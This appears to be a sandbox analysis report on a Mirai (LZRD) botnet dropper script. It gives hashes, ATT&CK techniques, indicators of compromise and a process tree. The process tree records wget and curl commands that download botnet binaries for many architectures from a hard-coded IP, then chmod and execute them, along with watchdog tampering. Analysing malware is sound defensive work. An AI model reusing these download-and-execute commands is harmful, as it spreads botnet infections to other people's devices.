mirai | f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff

Analysis

max time kernel
149s
max time network
141s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
22-01-2025 05:59

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General

Target

ohshit.sh
Size

2KB
MD5

a04231d2572fe53296e84de33494e755
SHA1

858cf66fac781dde0b6be798bec7976b36d91826
SHA256

f15049236ee277bc23f3374ffb5d52a3061573cda7e98892d685e06450d38aff
SHA512

3f3405f3c6a3977d5445fa9595aeaba7e8531882a3d681a28e4ddb13777241765e7ffdbc329e2587ba70c97017fd65eae2376e5ce6ea54a4404d4ac92e0ccb96

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
899	chmod
779	chmod
816	chmod
824	chmod
833	chmod
871	chmod
881	chmod
737	chmod
744	chmod
893	chmod
750	chmod
798	chmod
887	chmod
761	chmod
847	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	738	WTF
/tmp/WTF	745	WTF
/tmp/WTF	751	WTF
/tmp/WTF	762	WTF
/tmp/WTF	780	WTF
/tmp/WTF	799	WTF
/tmp/WTF	817	WTF
/tmp/WTF	825	WTF
/tmp/WTF	834	WTF
/tmp/WTF	848	WTF
/tmp/WTF	872	WTF
/tmp/WTF	882	WTF
/tmp/WTF	888	WTF
/tmp/WTF	894	WTF
/tmp/WTF	900	WTF

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Writes file to system bin folder 2 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx

Reads runtime system information 44 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/667/cmdline	WTF
File opened for reading	/proc/707/cmdline	WTF
File opened for reading	/proc/811/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/874/cmdline	WTF
File opened for reading	/proc/876/cmdline	WTF
File opened for reading	/proc/679/cmdline	WTF
File opened for reading	/proc/687/cmdline	WTF
File opened for reading	/proc/700/cmdline	WTF
File opened for reading	/proc/836/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/891/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/827/cmdline	WTF
File opened for reading	/proc/841/cmdline	WTF
File opened for reading	/proc/884/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/680/cmdline	WTF
File opened for reading	/proc/795/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/430/cmdline	WTF
File opened for reading	/proc/713/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/837/cmdline	WTF
File opened for reading	/proc/859/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/709/cmdline	WTF
File opened for reading	/proc/803/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/705/cmdline	WTF
File opened for reading	/proc/831/cmdline	WTF
File opened for reading	/proc/858/cmdline	WTF
File opened for reading	/proc/671/cmdline	WTF
File opened for reading	/proc/706/cmdline	WTF
File opened for reading	/proc/820/cmdline	WTF
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/885/cmdline	WTF
File opened for reading	/proc/897/cmdline	WTF

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
742	curl
743	cat
740	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.m68k	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:709
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:714
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:736
- /bin/chmod
  chmod +x boatnet.x86 ohshit.sh systemd-private-26095d1add1b47e9833694eda255f6a0-systemd-timedated.service-jn0TS5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:738
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:743
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-26095d1add1b47e9833694eda255f6a0-systemd-timedated.service-jn0TS5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:745
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.arc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:749
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-26095d1add1b47e9833694eda255f6a0-systemd-timedated.service-jn0TS5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:751
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.i468
  2⤵
  PID:753
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:754
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:759
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-26095d1add1b47e9833694eda255f6a0-systemd-timedated.service-jn0TS5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:762
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.i686
  2⤵
  PID:764
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:769
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:778
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-26095d1add1b47e9833694eda255f6a0-systemd-timedated.service-jn0TS5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:780
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.x86_64
  2⤵
  PID:783
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:797
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-26095d1add1b47e9833694eda255f6a0-systemd-timedated.service-jn0TS5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:799
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:801
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:812
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:815
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-26095d1add1b47e9833694eda255f6a0-systemd-timedated.service-jn0TS5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:817
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:821
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:823
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-26095d1add1b47e9833694eda255f6a0-systemd-timedated.service-jn0TS5 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:825
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:827
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:832
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:834
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:836
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:845
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:848
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:851
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:869
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:872
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:874
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/cat
  cat boatnet.ppc
  2⤵
  PID:880
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:882
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:884
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/cat
  cat boatnet.spc
  2⤵
  PID:886
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:888
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:890
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:892
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:894
- /usr/bin/wget
  wget http://193.200.78.24/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:896
- /usr/bin/curl
  curl -O http://193.200.78.24/hiddenbin/boatnet.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/cat
  cat boatnet.sh4
  2⤵
  PID:898
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/WTF

Filesize
23KB

MD5
419af9271063995aa7d8e36f7b9431cc

SHA1
048cefabc4702f4f301aba13a453592f862dac99

SHA256
7361c9bd5f6688bc9de5c6bd9ca7164edb537ccb08aa9c7522a620d4f410fba1

SHA512
eae11b558875bcd46845788e7b0a84ce9c97b80aa4909e34412bb9b9db449bd418421f14db3436adc53483737d21fe69b27a57f2098b24e27d0803d5fe01aa52

Download Submit
/tmp/WTF

Filesize
105KB

MD5
b209d553a02a0ad088f5b52e2bdda33d

SHA1
68260c4d8152a82a2df6dfd092969c81a4123431

SHA256
704c974b3616dd65eb799023471d933811e2cb7d8704e5e8eadba78d9c92b70f

SHA512
37814c4053a35e49907860f061ebbb715391e7f4a00d46ea96591673e94be73d4b032245b2289f60871f1ff870bce293cf12fbc8e7f806179fd068d57b5d6f50

Download Submit
/tmp/WTF

Filesize
220B

MD5
f1c24d9fa40a047ae22d2d3ae7dfeac9

SHA1
750274b02d5f5b00026a4f55b020f4285c693533

SHA256
219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

SHA512
36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

Download Submit
/tmp/WTF

Filesize
220B

MD5
a8f502a6fb3b7b940e922c951d9e493a

SHA1
fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

SHA256
748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

SHA512
e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

Download Submit
/tmp/WTF

Filesize
57KB

MD5
813a453dcd16f3dabca9d11459e89328

SHA1
5180409485d6704faee3ab3378b71c1fc1512ac9

SHA256
e5af9a223519bafc9f55798d33802a0fe33ada434e7055ad616d50d24e9ddcba

SHA512
db98c29a1aa5ffc80bc398a3844521276abb9e52bd66675fdbc0e607e7a7539f5a01a0a458ad48285b82d5270db3a392e6950bf357766de2a110778bb7579b37

Download Submit
/tmp/boatnet.x86

Filesize
20KB

MD5
911aa101a1f5c919712ab954d0dfaa3f

SHA1
6778ae6880057cbcebe3a593ee3115ae7eae2847

SHA256
30d62335e710f94be1996bf37c15f8c410e493c1c9d10cc7420f736778dc3c41

SHA512
981aee28346bcf9af048979ddf305a2483fe2e93d6b3f8dd07fa5793aea9c5b9a8e300b2c6368a5b5c6b7b2205cca4f5b9ea7ab22e191f0854e7bd7e093e9c33

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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